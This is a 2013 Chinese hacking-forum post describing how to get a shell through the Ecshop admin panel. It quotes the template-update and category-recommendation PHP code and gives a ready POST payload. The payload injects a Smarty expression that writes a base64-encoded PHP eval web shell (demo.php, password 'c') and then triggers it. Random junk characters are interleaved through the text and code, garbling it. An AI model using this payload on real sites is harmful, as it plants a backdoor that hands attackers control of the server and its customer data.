找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2464|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
* R/ ^3 L( a# l8 Y! F
3 x& {) v1 e+ g7 q/ s& q而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了$ H8 I' S+ D' b. o5 G) P* I
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
- a3 P; ]5 |# ]+ }; D$ dadmin/template.php) d: e' S) M5 A- N

, I# E% I7 A& e6 m$ \1 if ($_REQUEST['act'] == 'update_library') 4 \2 O2 j& D' D6 `( T# O/ F
# V6 a( k4 b! d  i3 b; k
2   7 W8 x- X+ n! \& h

; U/ f  _" H1 u8 p, d. t3 { 1 }) w$ A( r4 y( n( W* h3 S
: s! E  l( k. f+ }3 J+ T1 R
4     check_authz_json('library_manage'); 7 U$ h7 N$ X2 Z5 |: L( i
4 H/ _  U& o9 a
5   
. w8 ]( @5 p  E' ^5 L2 j: J( M' W5 G8 E
6     $html = stripslashes(json_str_iconv($_POST['html']));
4 L* `, T& N2 D. ?- Z9 P+ x5 T: e0 s3 ^! j% R* F# U
7   - Q# x; F) f$ G7 U2 R: i" e
$ _+ E, j3 Z/ \5 a
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
9 |; X8 n- S$ K: g/ K" ?& v" u! O- P
9   , M( {$ R7 H- F8 ^

7 L6 N- l. a  G, J1 P" t5 }3 G10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 * k: i. T* i/ ?  {4 }7 O' O
' H. m& L* U  [" u. [) A, H, z8 R
11   
( t/ ~. t' v, S* y
  f. B$ G/ h; F) D2 `12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); 7 }2 _8 X2 ~" ]

& j6 H8 J. ]7 }% [3 ]13   
+ }8 I5 ~) J" M4 i1 O7 O; c+ n7 s- t9 ~: [9 k
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 ' v2 l; c: Z  C2 o; U

7 O0 I, a0 g* z/ \6 Q! s9 I15     { 9 O( }" i" ]  b5 X5 h1 u4 x1 q8 l
8 t. F+ z, T( x4 g, w" B
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
( S7 _) y+ e$ ?
6 ]1 ?7 X; _# i0 q! j17         make_json_result('', $_LANG['update_lib_success']);
" ?: y* b' e3 i( C1 X% V) E
/ \) B1 g5 R" q7 c- B  J18     }
6 S+ {9 x% g% h2 K0 d4 S# {1 ^+ v8 F! }% F1 w9 Z: d
19     else - S) d" w3 L8 E8 f" k# X
8 n+ @0 w) {$ H
20     { + m: b" x# u  E) E1 W
1 X. A& j: U9 Q- }, @
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
, u# q- `  v/ N# H+ w, Y" Z8 w: j: c! ?  `5 m4 ]  |" W+ |2 s
22     }
1 L! T( L) I1 A, u! T0 m9 j9 c- W+ o% k' G7 E
23 }
1 g% x  U0 @% b, [& ~7 h
' w% h2 a' Z/ Q. t% a% o那么找个比较方便调用了模板的文件
. c' n  p* T" n! {index.php2 n# e) p  Q& y& \$ a
0 Y# S- D% \$ z5 r9 r
1 if ($act == 'cat_rec')
: [5 Q% ?5 K: g6 I
% Y) ~. P0 x' _3 ~! Q: B$ [9 q. q2   
& v# K+ y: v, f- C7 V
7 Z# k5 K4 T' G3 { $ ~2 v; @, Y# @. m4 N5 ^! w
( C+ [) w8 H8 D
4   
! z9 b9 N' u0 A) P- y# l: f! r+ A  G8 {' y  b$ ^
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
1 D6 @8 C2 J9 C. w/ Q) M" H; ]( x3 x9 V& S# G6 f3 |4 t
6   ) ^8 m1 d# p+ p+ ?

1 [4 ^. |* {8 w3 q( s0 f2 A+ T7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; / w' i5 e+ D2 z/ E8 ?4 m  Z

( M+ b! `/ C6 j# N1 M8   
7 _1 j$ \) `) c
) W. y4 P* j  O1 h2 r8 A8 f& X& N9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
0 B9 l9 V5 f2 f0 \7 |+ C
$ O3 {* L' a" Z0 I+ i3 X10   # n# |3 h( b' F7 s( Q
! F3 _4 e; g, `) O
11     include_once('includes/cls_json.php'); ( H* F6 m* ?: ~8 j- r

  I, W  F5 @/ M  u5 }) C12   
/ }7 O' u# I$ N3 C8 r! [! m
" `) d+ _3 h- a1 ^5 Z- n3 @0 ]& s13     $json = new JSON;
' j! ^9 H* Q6 I* x. C- j+ f
* _2 R. N7 Y0 {3 i8 j2 D9 O* V14   # f. n5 b# ], m
& G" y, _1 b7 |- J2 ^! k
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); ( t. @5 E. h! `$ T
* h# H; h# L; H) O! R
16     [7 |& r7 [. U) J0 U, M

9 o' f! s" A/ x  z17     $children = get_children($cat_id); + Q# T& `1 v! X3 ]7 d
) j+ Y0 O9 K& @
18   
( j6 {' M+ W) u* E# |* B+ g# A$ \4 f0 m+ g
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 * s9 c9 Z( F3 ~7 [) G4 K
: S1 _( p! j# v3 i
20   4 {" c: \4 E5 p* t& L/ O  x% i
& d, b& k% }; @$ e9 q% o
21     $smarty->assign('cat_rec_sign', 1);
1 m; a3 [( g2 @9 x! d
; V8 K5 j# K6 u" `7 M% `  T22   
' M5 c. a" }6 Z( ~
, q3 ?& x: z4 ?- ]) L' ~& g8 W( i2 v. a23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
- j8 w- i4 o& O1 K6 ?1 q/ y/ J5 n( x+ p9 U$ |. C: U
24   
6 E+ _, M/ u1 s* p! k9 b/ K. h  @$ p5 J5 Z- u- c7 @
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
' W: M; g& |: ]5 o% U/ M
5 \1 X& ?8 S5 ^7 k3 ~8 Q5 A. ?26   ( k' h+ E( D! `5 V3 w4 ]' H

  Q+ \( V; j& G0 i1 e  t27         echo $rec_array[$rec_type]; # t5 z* I- Q, F/ }1 `' ]( Q1 R
/ Z, N+ }$ k* L/ q0 d3 j' s
28   
( ~. j- ?8 z4 |( K6 j2 n$ F+ c
+ Z# v. `  q1 Q9 L/ ?+ E& r29     die($json->encode($result));
/ [- o, F5 A2 I1 j1 Q9 U  h
7 s. }9 U: N. N6 f2 l30   % x) j$ a0 S& z7 {

8 E9 l) M) @0 T$ J0 ^- P31 }
6 F4 H! v' @8 p2 x4 Z% b1 P1 F' V* J1 V' U) a5 N) K
那么就有利用方法了- j; C1 L; h# V6 W' T0 y
post包到http://localhost/ec/admin/template.php?act=update_library
) G3 w* y8 D1 x3 y5 r2 QPost内容:
& f" v) P, i- \; B: q, O  {+ F7 D  w0 `* J; f: ]

: I2 g; O$ ^- d  K7 M/ J4 T1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} 6 ~9 O( k' E5 |8 M6 m

. j5 F' l: y6 f: G然后访问http://localhost/ec/index.php?act=cat_rec
8 n  J1 X, a, @3 E  u+ A. `. a' A, L9 S, k% b- {+ x
shel地址:http://localhost/ec/demo.php9 V" i3 Z2 e2 N3 P- U( r$ y
密码c8 q7 h1 y: @& l% X) V' \( [. k
6 C( w* ^5 f6 l6 w/ s/ V  r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表